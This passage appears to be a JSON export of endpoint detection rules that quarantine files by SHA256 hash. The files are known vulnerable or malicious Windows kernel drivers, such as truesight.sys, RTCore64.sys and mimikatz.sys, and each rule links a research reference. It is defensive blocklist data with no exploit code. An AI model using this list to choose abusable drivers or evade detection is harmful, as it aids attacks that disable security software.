+  "creation_date": "2026-03-23T11:45:31.811383Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811388Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f1aa668d4a014e08274931a73971c03a27af624936b553df615a52069b6815a1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d7fb28a-52a0-5a96-a924-2b2ffef570bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822582Z",
+  "creation_date": "2026-03-23T11:45:30.822584Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822589Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d16e1f28bae42b72cad2b1511ec59968d0659a6913cce8056b4572c20303822",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d894dd5-4a98-5f72-bccb-0d63bd8c07c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159750Z",
+  "creation_date": "2026-03-23T11:45:31.159752Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159758Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d56f5b795bb2212a7e09393a8cc0bd86f51241e6fa274179949bfb0ccde0f05",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d8c63e2-5b6c-53aa-8ad1-92a37767214f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835842Z",
+  "creation_date": "2026-03-23T11:45:30.835844Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835849Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "12329b9ab6f14b2ad6cb37e76d6f74e14e5790e829035704ea0f5c7a5751e764",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d94af5a-6404-55d4-918f-f5f7f39e8cfa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978579Z",
+  "creation_date": "2026-03-23T11:45:29.978581Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978587Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34b3acdeac5002880071f73b70aa3abd3a6facb9e281b5c93cc82a7a8a6d5cc1",
+  "comment": "Vulnerable Kernel Driver (aka IOMap64.sys) [https://www.loldrivers.io/drivers/f4990bdd-8821-4a3c-a11a-4651e645810c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d9869e2-a925-5ae3-ab47-56662313bb33",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483532Z",
+  "creation_date": "2026-03-23T11:45:31.483536Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483546Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8a6d9f7c20e86d18f329b378991299ff94b7635adf9823bd8ca87eb29010b32c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9da6db87-b3c7-5459-bb02-095f21cb193e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810127Z",
+  "creation_date": "2026-03-23T11:45:31.810131Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810139Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1480fbab723741589d56bc33add490b8b8753b8bfe54db0c13672d4046e22c1c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9dafdc92-6f3a-5b62-80ec-afae3354709e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462257Z",
+  "creation_date": "2026-03-23T11:45:30.462260Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462269Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "184cc3969b79f1856614bed64c1d5562d3363e13a92176f2e9a9235a4aa7d051",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9db59f1b-54e0-586c-a1f2-096d89760999",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145566Z",
+  "creation_date": "2026-03-23T11:45:32.145568Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145574Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3df5f17da8758288b633611afc1c0b6d42c1e56aed5539cfa313986f70ce90e7",
+  "comment": "Vulnerable Kernel Driver (aka ADRMDRVSYS.sys) [https://www.loldrivers.io/drivers/48aeea9b-7812-4b25-9835-baaebe7dc551/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9dbdcbec-ae5b-570f-934a-a202e35a69ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476524Z",
+  "creation_date": "2026-03-23T11:45:30.476527Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476537Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b756d234559ee0ed93328bb598352ead2efb27eabaf1afac5fb3e2f43b9901f3",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9de54a6d-8837-5d73-9395-dfd72ed199fe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154210Z",
+  "creation_date": "2026-03-23T11:45:31.154213Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154218Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1454ead1d04577ee7332b820fa6d15bb0d3c4f676bc1a15eb9fc823dc7e00e03",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9de9d2e6-4a5a-5ad5-bce5-6317d08fe845",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146474Z",
+  "creation_date": "2026-03-23T11:45:32.146477Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146486Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54942b92790dc0b84c56d4a00f3ac419b0a506344ca7e9f1fb666a86dbc4117f",
+  "comment": "Malicious Kernel Driver (aka f.sys) [https://www.loldrivers.io/drivers/17a1ad58-ecf3-4dea-b1ca-336880d15256/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9df71d7f-9dc2-5088-97a6-20f710b6f54a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142398Z",
+  "creation_date": "2026-03-23T11:45:31.142400Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142406Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d447654a04902b223620e9a5f1247c1c780c37ab0055ea673973b9c93a1a798d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e01a289-c3db-5125-b41b-3e4677fa8189",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490048Z",
+  "creation_date": "2026-03-23T11:45:31.490051Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490056Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c09d3f977a422a4da35bc8c0c8843618b36fd24fda467a4c9b818099f6f291fe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e041b33-1bab-5873-b467-daf187c764ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142203Z",
+  "creation_date": "2026-03-23T11:45:31.142205Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142210Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f8da066754639522b60aa827389dfdc363899c56a0260ac2fb61f053db4333f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e0c86be-5196-56b4-866b-5b28cf106569",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149897Z",
+  "creation_date": "2026-03-23T11:45:31.149899Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149905Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "af91b7c87833cf8af531708e945e04061c8eeda1d3115c6458ff82c5cc4d1d09",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e1396ef-4013-5f65-81c0-47e756c048a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610335Z",
+  "creation_date": "2026-03-23T11:45:29.610337Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610343Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a6db9facf9e13d35c37dd468be04bae5f70c6127a9aee76daebddbdec95d486",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e18d3f2-a41a-5420-9618-2bc4ebd756c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149915Z",
+  "creation_date": "2026-03-23T11:45:31.149918Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149923Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "538a437a907b471ae2727e9db9abc01322d18a5b35327fe578710f33b7dfae18",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e1a8fb1-32e4-5c07-93dd-6fb2d76300e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485770Z",
+  "creation_date": "2026-03-23T11:45:31.485773Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485784Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e42e77ce4e8ccee8f135311ba69d2e3d7cba2212532f074ac4e284904ee298c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e3145dd-1266-5ff1-9e6b-7277f0c8198e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814776Z",
+  "creation_date": "2026-03-23T11:45:31.814779Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814789Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "86f2d62b48fcfe930c39b2831cbb74ae0059b5d80a661a4e0935404830d8b5ad",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e31a86b-23a5-5fd8-984a-a5e9464fc716",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460180Z",
+  "creation_date": "2026-03-23T11:45:30.460183Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460191Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5fe5a6f88fbbc85be9efe81204eee11dff1a683b426019d330b1276a3b5424f4",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e3aa0e6-100b-5674-9158-b65d1f8f4ca7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817761Z",
+  "creation_date": "2026-03-23T11:45:31.817764Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817773Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c1cf9983c2e1b60ff30ed6536e9ad4c63bccddc70c33fc90817b325ac7e4956c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9e4545b3-a949-59fa-b167-9b105591ca51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828807Z",
+  "creation_date": "2026-03-23T11:45:30.828809Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828815Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
